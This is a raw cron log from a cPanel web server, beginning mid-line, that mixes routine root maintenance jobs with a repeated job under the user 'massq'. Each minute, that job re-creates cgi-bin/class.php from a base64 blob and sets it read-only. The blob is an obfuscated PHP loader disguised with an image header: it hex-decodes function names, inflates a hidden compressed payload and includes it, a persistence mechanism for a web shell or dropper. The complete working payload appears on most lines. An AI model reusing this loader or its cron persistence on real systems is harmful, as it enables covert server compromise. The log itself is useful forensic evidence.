&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:30:01 server CROND[28060]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 05:30:01 server CROND[28061]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats &gt; /dev/null 2&gt;&amp;1)
Nov 10 05:30:01 server CROND[28063]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:30:01 server CROND[28065]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 05:30:01 server CROND[28062]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 05:31:01 server CROND[28939]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:32:01 server CROND[29622]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:33:01 server CROND[30347]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:34:01 server CROND[31167]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:35:01 server CROND[32252]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 05:35:01 server CROND[32253]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 10 05:35:01 server CROND[32258]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 05:35:01 server CROND[32257]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 05:35:01 server CROND[32259]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:36:01 server CROND[678]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:37:01 server CROND[1422]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:38:01 server CROND[2249]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:39:01 server CROND[3078]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 05:39:01 server CROND[3080]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:40:01 server CROND[3893]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 05:40:01 server CROND[3894]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 05:40:01 server CROND[3895]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 05:40:01 server CROND[3896]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:41:01 server CROND[4865]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
